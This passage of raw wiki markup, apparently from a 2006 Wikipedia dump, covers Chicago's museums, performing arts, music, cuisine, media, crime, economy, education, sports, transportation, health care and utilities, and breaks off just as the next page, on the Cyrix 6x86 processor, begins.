*[[Museum of Science and Industry (Chicago)|Museum of Science and Industry in Chicago]], 5700 S. Lake Shore Dr.  Highlights include the [[U-505]] [[submarine]] and working [[Coal mining|coal mine]].
* [[Peggy Notebaert Nature Museum]], 2430 N. Cannon Drive.  Museum dedicated to ecology.  It is noted for it's [[butterfly]] exibit.
* [[Oriental Institute]], part of the [[University of Chicago]], one of the best collections of [[Ancient Egypt|ancient Egyptian]] and [[Near East|Near Eastern]] archeology in the world. 
*[[Shedd Aquarium]], 1200 S. Lake Shore Dr. Located on the Museum Campus, the Shedd Aquarium is home to a large collection of [[marine life]] from throughout the world. The [[Pacific Northwest]]&amp;ndash;themed Oceanarium features dolphins, whales, and other animals from the region, as well as a panoramic view of Lake Michigan.  This aquarium was the largest indoor aquarium in the world until the [[Georgia Aquarium]] opened in November 2005.

===Performing arts===
[[Image:Secondcity.jpg|thumb|right|130px|A Promotional Sign for Chicago's &quot;Second City&quot; Comedy Troupe.]]
{{seealso|Chicago theatre}}

Chicago is a well-known [[theater]] capital and the birthplace of [[improvisational comedy]], where it remains extremely popular. The city is home to [[The Second City]] and [[I.O.]], two of the largest comedy troupes in the world. Many world-famous actors and comedians are Chicagoans or came to study in the area, particularly at [[Northwestern University]] in [[Evanston, Illinois|Evanston]]. The form itself was invented at the [[University of Chicago]] in the 1960s by an undergraduate performance group called the [[Compass Players]], whose members went on to found [[Second City]]. (In honor of this, Second City returns to the school on major anniversaries to perform free shows.)

Since its founding in 1976 as an ensemble effort, [[Steppenwolf Theatre Company]] on the city's north side has nurtured a generation of gifted actors, directors and playwrights and grown into an internationally renowned company of thirty-five artists. Many other theatres, from new performances spaces to landmark houses like the [[Chicago Theatre]] on State and Lake, present a wide variety of [[plays]] and [[musicals]], both touring shows and original works, such as the premiere in December 2004 of the [[Tony Award]] winner for Best Musical in 2005, ''[[Spamalot]].''  Notably, the [[Goodman Theatre]] and the [[Victory Gardens Theatre]] have won [[Regional Theatre Tony Award|regional Tony Awards]], along with Steppenwolf.

The [[Lyric Opera of Chicago]] was founded in 1954 and performs in the Civic Opera Building, which was built in 1929 on the east bank of the [[Chicago River]] and is the second-largest opera auditorium in [[North America]], with 3,563 seats. The Lyric Opera purchased the Civic Opera House from the building's owner in 1993. The company has reported an average of 100% sales for the past 16 years and approximately 34,000 subscribers for its six-month season.

The [[Joffrey Ballet]] makes its home in Chicago, as do several modern dance troupes such as the Hubbard Street Dance Company.

===Music===
Chicago has made many significant [[pop culture|pop-cultural]] contributions. In the field of [[music]], Chicago is well-known for its [[Chicago blues]], [[Chicago soul]], [[Jazz]], and [[Gospel music|Gospel]]. It is known as the birthplace of the [[Chicago House|House]] style of music, whose history is related to the development and fostering of the [[Techno music|techno]] [[electronica|electronic]] style of music in nearby [[Michigan]]. The [[Hip-Hop scene in Chicago]] is also very influential, with major artists including [[Kanye West]], [[Twista]], [[R. Kelly]], and [[Common]].

The rock band [[Chicago (band)|Chicago]] was named after the city, although its original name was the [[Chicago Transit Authority]]. The band's name was shortened to Chicago after the CTA threatened to sue them for unauthorized use of the original [[trademark]].

1990s' [[alternative music|alternative]] bands [[Local H]], [[Veruca Salt (band)|Veruca Salt]], [[Big Angry Fish!]], [[The Lawrence Arms]], [[Kill Hannah]], [[Material Issue]], [[Liz Phair]], and [[The Smashing Pumpkins]] hail from Chicago.  Contemporary rock band [[Wilco]] is also Chicago-based. The 2000s' have seen local artists [[Disturbed]], [[Alkaline Trio]], and [[Fall Out Boy]] also attain nationwide success.

The [[Chicago Symphony Orchestra]], one of the nation's oldest and most respected [[Orchestra|symphony orchestras]], plays its concerts at the historic [[Symphony Center]] (formerly known as &quot;Orchestra Hall&quot;) in [[downtown Chicago]].  [[Northwestern University]]'s highly regarded School of Music draws musical talent to the Chicago area from across the nation.

Chicago's colorful history and culture have provided inspiration for a wide variety of musical compositions.  In the 19th Century, for example, the chain of events surrounding the [[Great Chicago Fire]] led Chicago resident [[Horatio Spafford]] to write the hymn ''&quot;[[It Is Well With My Soul]]&quot;''.

===Cuisine===
Chicago's signature foods reflect the city's ethnic and [[working-class]] roots. Chicago [[Chicago-style pizza|deep-dish]] [[pizza]] was popularized by [[Uno Chicago Grill|Pizzeria Uno]].  It is generally accepted that it was also invented at Uno in 1943.  One of the creators of this new style of pizza was Rudy Malnati.  Rudy's grandson, Lou, would go on to found Lou Malnati's which is another very popular purveyor of deep dish pizza.  The first Lou Malnati's Pizzeria opened on March 17, 1971.  Chicago [[Chicago-style pizza|deep-dish]] [[pizza]]  is world renowned and popular locally, although thin-crust and other styles of pizza are also popular throughout the city.  In particular, Chicago pizzerias also serve stuffed pizza (a close relative of deep dish), popularized by such places as Giordano's, and a style of thin crust that is crispy, rather than floppy in the style of New York and other East Coast cities.  A traditional [[Chicago-style hot dog|Chicago hotdog]] is typically loaded with mustard, chopped onion, sliced tomato, pickle [[relish]], celery salt, sport peppers and a dill pickle spear. It is somewhat taboo to put [[ketchup]] on a Chicago hotdog; there are actually some small [[hotdog]] shops and stands that will refuse service to you if you make the request. A Chicago hotdog is almost always made out of [[Vienna Beef]], the largest provider of hot dog meat for Chicago. Chicago is also known for [[Italian Beef]] sandwiches and the [[Maxwell Street Polish]] (always served topped with grilled onions and mustard).

Chicago also has a long list of world-renowned upscale dining establishments serving a wide array of cuisine from some of the most well-known chefs in the [[United States]]. Some notable destinations include [http://www.charlietrotters.com/index.asp Charlie Trotter's] (chef [[Charlie Trotter]]) on Armitage in Chicago's [[Lincoln Park, Chicago|Lincoln Park]] neighborhood, [[Frontera Grill]], a gourmet [[Mexican]] restaurant owned by [[Food Network]] star [[Rick Bayless]], and [[The Everest Restaurant|The Everest]], a new-French restaurant on the top floor of the [[Chicago Stock Exchange]] building downtown.

=== Media and entertainment ===
{{seealso|Media in Chicago}}
[[Image:Harpo-studio-sign-in-chicago-ill-usa.jpg|right|thumb|300px|Harpo Studios, home of talk show host [[Oprah Winfrey]].]]
Chicago commands the third-largest market in [[North America]] (after [[New York City]] and [[Los Angeles]]) and as such has many different forms of media and outlets to support its status. All of the major US television [[television network|networks]] have subsidiaries in Chicago. Chicago's local [[WGN-TV]], which is owned by the [[Tribune Company]], is carried (with some programming differences) as &quot;[[Superstation]] WGN&quot; on [[Cable television|cable]] nation-wide. 

There are two major daily [[newspapers]] published in Chicago, the ''[[Chicago Tribune]]'' and the ''[[Chicago Sun-Times]]'', with the former having the larger circulation. There are also a number of regional and [[Interest groups|special-interest]] newspapers such as the ''[[Daily Southtown]]'', the ''[[Chicago Defender]]'', the ''[[Newcity News]]'', the ''[[Daily Herald]]'', StreetWise and the ''[[Chicago Reader]]''.

[[Chicago Public Radio]] offers diverse and informative programs and is perhaps best known for producing [[National Public Radio|NPR]] favorites ''[[This American Life]]'' and ''[[Wait Wait... Don't Tell Me!]]''.

Local [[blog]] sites of note are [http://gapersblock.com/ Gapers Block], [http://www.flowfeel.com FlowFeel] and [[Bookslut]].

===Crime===
Despite its prosperity and reputation as a world-class city, Chicago's crime situation in the latter half of the 20th century, and the early years of the 21st, has often been poor. In addition to its gangland problems, starting in the late 1960s Chicago, like many other major American cities, saw a major rise in violent crime which took decades to reverse. Murders in the city peaked first in 1974, with 970 murders for the year when the city's population was over three million, resulting in a murder rate of around 28.8 per 100,000; and again in 1992, with 943 murders for the year when the city had ''fewer'' than three million people, resulting in a murder rate of 33.87 per 100,000. Following 1992, the murder count slowly petered down to 703 by 1999; by this time, it had the most murders of any big city in the country and continued to until 2004. That year, after adopting crime-fighting techniques recommended by the [[New York Police Department]] and the [[Los Angeles Police Department]], Chicago recorded 448 homicides, the lowest total since 1965. Despite the impressive gains, however, the city's murder rate of 15.65 (going by the 2004 population estimate) is still higher than those of [[New York City]], [[Boston, Massachusetts|Boston]], [[San Francisco]], and [[Los Angeles]].

Chicago has been among the first U.S. cities to build an integrated emergency response center to coordinate the city's response to terrorist attacks, gang violence, and natural disasters in the city. Built in 1995, the center is integrated with over 2000 cameras, a direct link to the [[National Counterterrorism Center]], and communications with all levels of city government. Recently installed anti-crime cameras have been introduced and are capable of pinpointing gunshot sounds, calculating where the shots were fired, and pointing and zooming the cameras in the direction of the shots. So far early results show these new cameras to be highly effective in reducing crime within a 2 block radius. Placed in residential areas, these cameras cause some Chicagoans to feel uneasy about being so closely watched. They have prompted some calls of discrimination since these cameras are prevalent in Black and Latino communities. 

The FBI often does not accept crime statistics submitted by the [[Chicago Police Department]], which tallies data differently than other cities. For instance, the police record all criminal sexual assaults as opposed to only rape, like other police departments do; and aggravated battery is counted along with the standard category of aggravated assault. As a result, Chicago is often omitted from studies like [[Morgan Quitno]]'s annual &quot;Safest/Most Dangerous City&quot; survey.

*http://www.usatoday.com/news/nation/2005-06-06-crime-drop_x.htm?POE=NEWISVA

*http://www.cityofchicago.org/police

==Economy==
[[Image:Chicago bot.jpg|right|thumb|300px|[[Chicago Board of Trade]].]]
{{main|Economy of Chicago}}

Chicago has been a center for commerce in the United States for most of its modern history.  Today, Chicago remains the United States' second financial center with the nation's second largest central business district and third largest gross metropolitan product. In fact, Chicago's gross metropolitan product would rank 18th in the world if it were a nation-state, at approximately $380 billion. 

Before it was incorporated as a town in 1833, the primary industry was the [[fur trade]]. Chicago's early explosive growth led many land speculators and enterprising individuals to the area. Situated on the [[Great Lakes]] and with so many new people settling the area, Chicago became an ideal location for shipping and receiving goods. With that, many [[railroad]]s started to be built from Chicago to other parts of the country, further aiding the growth of the city. Additionally, the building of the [[Illinois and Michigan Canal]] helped move goods south down the [[Mississippi River]].
In the 1840s, Chicago became the largest [[cereal|grain]] port in the world, shipping food from the [[Mississippi Valley]] region which was also growing into the largest food-producing region in the world. In 1848, Chicago built its first [[grain elevator]], and, in 1858 there were twelve grain elevators dotting the skyline. [[Carl Sandburg]] described Chicago as a &quot;stacker of wheat&quot;, and some would argue that the grain elevators were Chicago's first [[skyscraper]]s.
In the 1850s and 1860s Chicago's [[pork]] and [[beef]] industry exploded. Great entrepreneurs such as [[Gustavus Franklin Swift|Gustavus Swift]] and [[Philip Danforth Armour|Philip Armour]] helped the area to become the largest producer of meat products in the world at the time. By 1862, Chicago had displaced [[Cincinnati, Ohio]], as &quot;Porkopolis&quot;. During the 1860s two factors helped this development: first, the [[American Civil War|Civil War]] increased the demand for food products, and Chicago's [[transport]]ation network ensured that goods could be delivered quickly to soldiers all over the northern United States; and second, [[meat packing industry|meat packing]] plants began to utilize ice. Before this time, meat production and distribution facilities, otherwise known as disassembly plants, had to shut down in the hot summer months. More operating months meant hundreds of thousands of new man-hours in which people could work. The efficiency of Chicago's meat packing industry and its disassembly plants inspired others such as [[Henry Ford]] when he developed [[Model-T]] [[assembly line]]s. Today, we consider industries such as steel, oil, and banking to be the great global market segments, but in the 1860s Chicago's pork and beef industry represented the first global industry. As the major meat companies grew in Chicago many, such as [[Armour &amp; Co.|Armour]], created global enterprises and communicated with divisions spread across the globe via [[Telegraphy|telegraph]].

Modern-day futures and commodity trading markets were pioneered in Chicago. A number of events led to this, along with Chicago's transportation systems and geographic proximity to the rest of the country. Massive amounts of goods passed through Chicago from places in the Mississippi Valley such as [[St. Louis, Missouri]]. Grain was stored in Chicago, and people began buying contracts on it. Later, people as far away as New York City began buying contracts by telegraph on the goods that would be stored in Chicago in the future. From this were established the [[Chicago Board of Trade]] (CBOT), the [[Chicago Mercantile Exchange]] (CME), and the modern systems we use today for futures and commodity trading.

Chicago, and its surrounding suburbs, are home to the second largest concentration of Fortune 500 companies in the United States. The greater Chicago area hosts 31 members of the Fortune 500. The city of Chicago is home to 11 Fortune 500 companies, while the metropolitan area hosts a total of 21 members of the Fortune 500. Chicago also hosts 12 Fortune Global 500 companies and 17 Financial Times 500 companies.

Chicago, and its surrounding metropolitan area, are also home to the second largest labor pool in the United States numbering approximately 4.25 million workers. 

===See also===
* [[Chicago Climate Exchange]]
* [[List of major companies in Chicagoland]]

==Education==
[[Image:UChicago gate.jpg|thumb|300px|right|Entrance to the [[University of Chicago|University of Chicago's]] main quadrangle]]

===Public education===
The [[Chicago Public Schools]] (CPS) is the [[school district]] that controls over 600 public elementary and high schools in Chicago. It is currently the third largest school district in the United States, with more 400,000 students enrolled in the school district and is led by [[CEO]] [[Arne Duncan]]. The CPS also includes a number of selective-admission magnet schools, such as [[Whitney Young Magnet High School]], [[William Jones College Prep]], [[Walter Payton College Prep]] and [[Northside College Preparatory High School]].

Like many urban U.S. school districts, CPS suffered with a number of problems throughout the latter half of the 20th century, including overcrowding, underfunding, mismanagement and a high dropout rate.  In 1987, then U.S. Secretary of Education [[William Bennett]] named the Chicago Public Schools as the &quot;worst in the nation.&quot;  A number of [[education reform|school reform]] initiatives have since been undertaken to improve the system's performance.  Reforms have included a system of Local School Councils, [[Charter School]]s, efforts to end [[social promotion]] and others.

===Higher education===
{{main|Colleges and universities of Chicago}}

Chicago is home to two of America's leading universities, the [[University of Chicago]] in [[Hyde Park, Chicago|Hyde Park]] and [[Northwestern University]] in nearby [[Evanston, Illinois|Evanston]]. Northwestern also maintains a campus in downtown Chicago, near the Magnificent Mile.

The [[Illinois Institute of Technology]] in [[Bronzeville]] has notable engineering and architecture programs. 

The city is also home to several honored [[Roman Catholic Church|Catholic]] universities, including [[Loyola University Chicago|Loyola University]], with campuses in [[Rogers Park, Chicago|Rogers Park]], [[Edgewater (Chicago)|Edgewater]] and [[Chicago Water Tower|Water Tower Place]], and [[DePaul University]] with campuses in [[Lincoln Park, Chicago|Lincoln Park]] and [[Chicago Loop| the Loop]].

The Chicago campus of the [[University of Illinois]] system, the [[University of Illinois at Chicago]], is the city's largest university and one of the nation's largest urban public universities. Other state universities in Chicago include [[Chicago State University]] and [[Northeastern Illinois University]].

A number of smaller colleges are known for [[fine arts]] education, including [[Roosevelt University]], [[Columbia College Chicago]], and [[School of the Art Institute of Chicago|The School of the Art Institute of Chicago]]; annually, the latter ranks alongside the [[Rhode Island School of Design]] and [[Yale University]] as having the best graduate and undergraduate level arts programs in the country. 

The Chicago region boasts 12 accredited theological schools representing most mainline Protestant traditions, including the city's oldest institution of higher education, the United Church of Christ-related [[Chicago Theological Seminary]], the United Methodist run [[Garrett-Evangelical Theological Seminary]], the Episcopal [[Seabury-Wesleyan]] and multiple Roman Catholic institutions, including [[St. Mary of the Lake Seminary]]; the schools are joined in a consortium known as the [http://campus.northpark.edu/acts/ Association of Chicago Theological Schools (ACTS)]. Another well-known Christian school in downtown Chicago is the [[Moody Bible Institute]]. 

[[Dominican University]], recognized for its accredited library and information science graduate programs, is located just outside Chicago in River Forest, but many of the library courses are taught at the [[Chicago Public Library]]'s main [[Harold Washington]] building in the Loop.

The city also has a [[community college]] system known as the [[City Colleges of Chicago]].

Many of these institutions have downtown campuses as well as suburban locations.

==Sports==
[[Image:SoxPark.jpg|right|thumb|300px|New Comiskey Park, now known as U.S. Cellular Field on Chicago's South Side. Home of the [[Chicago White Sox]].]]

Chicago is one of two U.S. cities (the other being [[New York City]]) that has not only two [[Major League Baseball]] teams but also [[NFL]] [[football]], [[Major League Soccer]] (Fire), [[NBA]] [[basketball]] (Bulls, WNBA Sky), and [[National Hockey League|NHL]] [[ice hockey|hockey]] (Blackhawks) teams. Chicago also has a minor-league hockey team, the [[Chicago Wolves|Wolves]], and a [[National Lacrosse League]] team, the [[Chicago Machine]], which will begin play in 2006.
*The [[Chicago Cubs]] of the National League play in the second-oldest major league stadium, [[Wrigley Field]], located in the north side neighborhood of Lakeview. The Cubs are famous as &quot;loveable losers&quot; whose fans are nevertheless famously dedicated. The Cubs are the oldest team to play continuously in the same city since the formation of the [[National League]] in 1876.
*The [[Chicago White Sox]] of the American League won the [[World Series]] in 2005. Police estimated 1.75 million fans turned out to cheer on the victory parade. [[U.S. Cellular Field]] is located on the city's south side on the corner of 35th and Shields; built in 1990 and originally known as '''New Comiskey Park''', it is across the street from the original [[Comiskey Park]], where the White Sox played from 1910 to 1990.
*The [[Chicago Bears]] football team has had some of the best-loved and most famous [[NFL]] personalities, including owner [[George Halas]], players [[Dick Butkus]], [[Gale Sayers]], [[Jim McMahon]], [[William Perry (football player)|William &quot;Refrigerator&quot; Perry]], the legendary [[Walter Payton]], and coach [[Mike Ditka]]. The Bears play in [[Soldier Field]] on the city's lakefront. In 1985 the Bears went 15-1, dominated the playoffs, and dismantled the [[New England Patriots|Patriots]] 46-10 in [[Super Bowl XX]].
*The [[Chicago Bulls]] of the [[NBA]] are arguably the most recognized basketball team in the world, thanks to the heroics of a player often cited as the best ever, [[Michael Jordan]], who led the team to six NBA championships in eight seasons in the 1990s. 
*The [[Chicago Fire (soccer)|Chicago Fire]] soccer club are members of [[MLS]] and are one of its most successful and best-supported since their founding in 1997, winning one [[Major League Soccer|league]] and three [[US_Open_Cup|US Open Cups]] in that time span. After eight years at [[Soldier Field]] they will begin play at the new [[Bridgeview Stadium]] at 71st and Harlem Avenue in Summer 2006.
Broadcasting by Chicago TV station [[WGN-TV]] has helped spread the visibility of Chicago sports around the country. The city of Chicago has announced that it will bid for the [[2016 Summer Olympics]]. Chicago is the host for the [[Gay Games|2006 Gay Games]].
{| class=&quot;wikitable&quot;
|- bgcolor=&quot;#CCCCCC&quot;
! Club !! Sport !! League !! Stadium !! Logo
|-
| [[Chicago Bears]]
| [[American football|Football]]
| [[National Football League]]
| [[Soldier Field]]
| [[Image:ChicagoBears 100.png|30px|Chicago Bears Logo]]
|-
| [[Chicago Blackhawks]]
| [[Ice hockey|Hockey]]
| [[National Hockey League]]
| [[United Center]]
| [[Image:ChicagoBlackhawks 100.png|30px|Chicago Blackhawks Logo]]
|-
| [[Chicago Bulls]]
| [[Basketball]]
| [[National Basketball Association]]
| [[United Center]]
| [[Image:ChicagoBulls 100.png|30px|Chicago Bulls Logo]]
|-
| [[Chicago Cubs]]
| [[Baseball]]
| [[Major League Baseball]]''':''' [[National League]]
| [[Wrigley Field]]
| [[Image:ChicagoCubs 100.png|30px|Chicago Cubs Logo]]
|-
| [[Chicago Fire (soccer)|Chicago Fire]]
| [[Soccer]]
| [[Major League Soccer]]
| [[Bridgeview Stadium]]
| [[Image:Chicago Fire logo.gif|30px|Chicago Fire Logo]]
|-
| [[Chicago Sky]]
| [[Basketball]]
| [[Women's National Basketball Association]]
| [[UIC Pavilion]]
| [[Image:Sky logo.png|25px|Chicago Sky]]
|-
| [[Chicago Rush]]
| [[Arena Football]]
| [[Arena Football League]]
| [[Allstate Arena]]
| [[Image:ChicagoRush.gif|35px|Chicago Rush Logo]]
|-
| [[Chicago White Sox]]
| [[Baseball]]
| [[Major League Baseball]]''':''' [[American League]]
| [[U.S. Cellular Field|U.S. Cellular Field (New Comiskey Park)]]
| [[Image:ChicagoWhiteSox 100.png|30px|Chicago White Sox Logo]]
|-
| [[Chicago Wolves]]
| [[Hockey]]
| [[American Hockey League]]
| [[Allstate Arena]]
| [[Image:Chicago_wolves_200x200.png|35px|Chicago Wolves Logo]]
|-
| [[Chicago Machine]]
| [[Lacrosse]]
| [[Major League Lacrosse]]
| [[Benedictine University]]
| [[Image:568.gif|35px|Chicago Machine Logo]]
|}
'''Related topics'''
*[[1959 Pan American Games]] in Chicago
*[[Arlington Park]]
*[[Chicago Motor Speedway]]
*[[Chicago Blitz]]
*[[Chicago Enforcers]]
*[[Chicago Bruisers]]
*[[Chicago Storm]]
*[[Windy City Rollers]]

==Transportation==
[[Image:Chicago Union Station 1943.jpg|thumb|right|300px|In the Great Room at [[Union Station (Chicago)|Union Station]].]]
Chicago is considered to be the premier transportation hub in America. Much of this status stems from its geographic proximity during a time when the United States was growing quickly in population and area. The [[Illinois and Michigan Canal]], completed in 1848, allowed for transportation around the world with connecting waterways through Chicago all the way to New York and the [[Atlantic Ocean]], west to St. Louis, and south to [[New Orleans, Louisiana|New Orleans]] and the [[Gulf of Mexico]]. Chicago then became one of the largest grain and lumber ports in the world, with grain being sent to more established populations and lumber being sent to the forest-starved prairies where new settlers needed to build. Even today, Chicago's importance in global distribution remains, as it is the third largest inter-modal port in the world after [[Hong Kong]] and [[Singapore]].

===Streets and highways===
{{main|Streets and highways of Chicago}}
The streets of Chicago primarily follow the grid system established by the [[Chicago City Council]] in 1908 and implemented on September 1, 1909. The baselines for numbering streets and buildings are State Street (east-west numbering) and Madison (north-south numbering). Street numbers begin at &quot;1&quot; at the baselines and run numerically in directions indicated to the city limits. Letters, N, S,E and W indicate directions.

The City of Chicago is divided into one-mile sections which contain eight blocks to the mile (though the street grid is not entirely uniform). Each block's addresses occupy a 100-number range, making a range of 800 address numbers cover approximately one mile. There are three exceptions to the 800-to-a-mile rule: Madison (the north-south zero point) to Roosevelt at 1200 south is one mile, as is Roosevelt to Cermak at 2200 south, and Cermak to 31st Street (3100 south). The regular 800-per-mile range resumes south of 31st Street so that 39th Street (3900 south) is one mile south of 31st Street. Even-numbered addresses are on the north and west sides of streets; odd-numbered address are on the south and east sides.

Seven [[interstate highways]] run through Chicago. Segments that link to the city center are named after influential politicians, and traffic reports tend to use the names rather than interstate numbers.  The named interstate segments are the Kennedy Expressway (I-90 From the 'Loop' to O'Hare International Airport), Dan Ryan Expressway (I-90/94, From South of the 'Circle Interchange' to the I-57 Split), Stevenson Expressway (I-55), Edens Expressway (I-94), Eisenhower Expressway (I-290), Bishop Ford Expressway (I-94 from the I-57 Split south), and the Chicago Skyway (I-90 when it breaks off the Dan Ryan). Interstate 57 is not named.

===Public transportation===
{{CTA}}
{{main|Mass transit in Chicago}}
The [[Chicago Transit Authority]] or CTA, operates the second largest public transportation system in the United States (to New York's [[Metropolitan Transportation Authority]]) and covers the City of Chicago and 40 surrounding suburbs. The CTA operates 24 hours a day and, on an average weekday, 1.6 million rides are taken on the CTA.

CTA has approximately 2,000 buses that operate over 152 routes and 2,273 route miles. Buses provide about 1 million passenger trips a day and serve more than 12,000 posted bus stops. CTA's 1,190 rapid transit cars operate over seven routes and 222 miles of track. CTA trains provide about 500,000 customer trips each day and serve 144 stations in Chicago, [[Evanston, Illinois|Evanston]], [[Skokie, Illinois|Skokie]], [[Wilmette, Illinois|Wilmette]], [[Rosemont, Illinois|Rosemont]], [[Forest Park, Illinois|Forest Park]], [[Oak Park, Illinois|Oak Park]] and [[Cicero, Illinois|Cicero]]. The elevated train is also known as the &quot;Chicago L&quot; or &quot;El&quot; to Chicagoans.

Chicago is one of the few cities in the United States that provides [[Chicago El|rapid transit service]] to two major [[airport]]s. From the downtown area the CTA's [[Blue Line (Chicago Transit Authority)|Blue Line]] takes customers to [[O'Hare International Airport]] in about 40 minutes and the [[Orange Line (Chicago Transit Authority)|Orange Line]] takes customers to [[Midway Airport]] in about 30 minutes from the [[Chicago Loop|Loop]].

[[Metra]] operates commuter rail service at over 200 stations in Chicago and its suburbs. [[Metra]] features the  Electric District Main Line, which offers commutes from the Far South Suburbs to Chicago's Lakefront Attractions like [[McCormick Place]], [[Millennium Park]], [[Soldier Field]] and Museum Campus. Metra's Electric Line is [[Chicago]]'s oldest continuing commuter train (1856), sharing the railway with the South Shore Line's NICTD Northwest Indiana Commuter Rail Service, which accesses Chicago/Gary Airport. 

[[Pace (transit)|Pace]] operates a primarily-suburban bus service that also offers some routes into Chicago.

===Airports===
[[Image:OHare.jpg|right|thumb|172px|The American Airlines terminal at O'Hare International Airport]]
{{main|Airports of Chicago}}
In the 20th century, Chicago held on to its status as the nation's transportation hub with the building of two airports: [[Midway Airport]], on the south side, which was superceded in the 1960s by [[O'Hare International Airport]] on the far northwest. Today, O'Hare is one of the world's busiest airports, playing an important role in domestic connections for many airlines. Both O'Hare and Midway are owned and operated by the city of Chicago. For decades Illinois has debated opening a new airport near [[Peotone, Illinois]], with no decision. For now the Gary-Chicago airport, located in nearby Gary, Indiana serves as the third Chicago land airport.

====See also====
*[[Rail stations of Chicago]]
*[[Taxis of Chicago]]
*[[Chicago Pedway]]
*[[Chicago City Railway]]
*[[Bicycling in Chicago]]
*[[Union Station (Chicago)|Union Station]]
*[[Multilevel streets in Chicago]]

==Health and medicine==
The United States has the largest [[Health care in the United States|health care system]] in the world, and Chicago is arguably the capital of that system. The city is first among the major dental and medical training centers in the United States. It is also home to the sprawling [[Illinois Medical District]] on the Near West Side, which includes [[Rush University Medical Center]], the [[The University of Illinois College of Medicine|University of Illinois at Chicago medical center]], and [[John H. Stroger, Jr. Hospital of Cook County]], the largest trauma-center in the city and the basis for the hospital in NBC's popular drama [[ER (TV series)|ER]]. The [[American Medical Association]], the [[American Hospital Association]], the [[American Dental Association]], and the [[American College of Surgeons]] are also based in the city. [[The University of Illinois College of Medicine]] at [[University of Illinois at Chicago|UIC]] is the largest medical school in the United States (1300 students, including those at campuses in Peoria, Rockford and Urbana-Champaign). Chicago is also home to a large number of nationally recognized medical schools. These include the above-mentioned University of Illinois medical school, [[Rush Medical College]], [[University of Chicago]], and [[Northwestern University]]. In addition, the [[Chicago Medical School]] and [[Loyola University Chicago]]'s Stritch School of Medicine are located in the suburbs of North Chicago and Maywood, respectively. The Midwestern University Chicago College of Osteopathic Medicine is located in Downers Grove. The [[American Osteopathic Association]] is also located in Chicago.

==Utilities and infrastructure==
===Electric===
Electricity is provided to residents through [[Commonwealth Edison]], also known as ComEd. With over 6,000 employees ComEd provides service to all of northern Illinois. Their service territory borders [[Iroquois County, Illinois|Iroquois County]] to the south (roughly [[Interstate 80]]), the [[Wisconsin]] border to the north, the [[Iowa]] border to the west and the [[Indiana]] border to the east.

===Telecommunications===
Most landline telephone service is provided by [[AT&amp;T]], but there are a number of other smaller players such as [[RCN]] that service the city. New technologies allowing phone service over cable lines and the Internet are broadening the competitive landscape.

'''Related Topics'''
*[[North American Numbering Plan|Area Codes]]
**[[Area code 312|312]] (The [[Chicago Loop|Loop]] and central neighborhoods, e.g. the Near North Side)
**[[Area code 773|773]] (Everywhere else in the city proper, the neighborhoods)
**[[Area code 847|847]] (North and Northwest Suburbs)
**[[Area code 708|708]] (Near West and South Suburbs)
**[[Area code 630|630]] (Western Suburbs)
**[[Area code 224|224]] (Overlay area code for 847)

===Cable===
Cable television services in Chicago are provided to the citizens through one of three providers over five service territories covering the city. The three players are [[Comcast]], [[Wide Open West]] (WOW) and [[RCN]]. Comcast services are available city wide while RCN and WOW are only cover the North East and South side respectively. Service providers are regulated by The Office of Cable Communications which is a division of the Department of Consumer Affairs.

==See also==
*[[Sister Cities of Chicago]]
*[[Famous Chicagoans]]
*[[Landmarks of Chicago]]
*[[Parks of Chicago]]
*[[Chicago architecture]]
*[[Tallest buildings in Chicago]]
*[[Notable citizens of Chicago]]
*[[List of fiction set in Chicago]]
*[[List of non-fiction about Chicago]]
*[[List of Chicago music venues]]

==References==
&lt;!--When creating references please refer to the Wikipedia [[Wikipedia:Cite sources|Cite Sources]] guidelines. --&gt;

*{{wikitravelpar|Chicago}}
* [http://www.cityofchicago.org/ City of Chicago Homepage]
*{{cite book
 | year = 2004
 | month = October
 | title = The Encyclopedia of Chicago
 | editor = Edited by James R. Grossman, Ann Durkin Keating, Janice L. Reiff.
 | publisher = University of Chicago Press
 | id = ISBN 0226310159
}}
* [http://www.encyclopedia.chicagohistory.org/ ''The Encyclopedia of Chicago (online version)'']
*{{cite book
 | first = Donald L.
 | last = Miller
 | year = 1996
 | month = April
 | title = City of the Century: The Epic of Chicago and the Making of America
 | publisher = Simon &amp; Schuster
 | id = ISBN 0684801949
}}

==External links==
{{Spoken Wikipedia|Chicago.ogg|2005-07-22}}
{{sisterlinks|Chicago}}
{{portal|Chicago}}
*[http://www.cityofchicago.org/ Official City Website]
*[http://www.chicagotraveler.com/ Convention &amp; Visitors Bureau]
*[http://www.chicagolandchamber.org/ Chicagoland Chamber of Commerce]
*[http://www.encyclopedia.chicagohistory.org/ Encyclopedia of Chicago]
*[http://www.encyclopedia.chicagohistory.org/pages/658.html The Italian Community of Chicago]
*[http://www.encyclopedia.chicagohistory.org/pages/982.html The Polish Community of Chicago]
*[http://www.schwabenverein.org/history.htm The German-American  Community of Chicago]
*[http://www.bh.org.il/Communities/Archive/chicago.asp The Jewish Community of Chicago]
*[http://www.chipublib.org/004chicago/chihist.html Historical Information About Chicago]
*[http://www.areachicago.com AREA Chicago Art/Education/Activism Publication]

{{Chicago}}
{{Chicagoland}}
&lt;br&gt;
{{USLargestCities}}

[[Category:Chicago, Illinois| ]]
[[Category:Communities on U.S. Highway 66]]

[[ar:شيكاغو]]
[[bg:Чикаго]]
[[bs:Chicago]]
[[ca:Chicago]]
[[cs:Chicago]]
[[cy:Chicago]]
[[da:Chicago]]
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[[eo:Ĉikago]]
[[fr:Chicago]]
[[gl:Chicago]]
[[ko:시카고]]
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[[id:Chicago]]
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[[he:שיקגו]]
[[ka:ჩიკაგო]]
[[la:Sicagum]]
[[lt:Čikaga]]
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[[ja:シカゴ]]
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[[ru:Чикаго]]
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[[simple:Chicago, Illinois]]
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[[th:ชิคาโก]]
[[uk:Чікаґо]]
[[zh:芝加哥]]</text>
    </revision>
  </page>
  <page>
    <title>Cyrix 6x86</title>
    <id>6887</id>
    <revision>
      <id>35326317</id>
      <timestamp>2006-01-15T23:12:06Z</timestamp>
      <contributor>
        <username>Morkork</username>
        <id>158129</id>
      </contributor>
      <minor />
      <text xml:space="preserve">[[Image:Cyrix 6x86L-PR200plusGP top.jpg|thumb|A Cyrix 6x86 Processor]] 
[[Image:Cy6x86_arch.png|300px|thumb|The Cyrix 6x86 architecture.]]

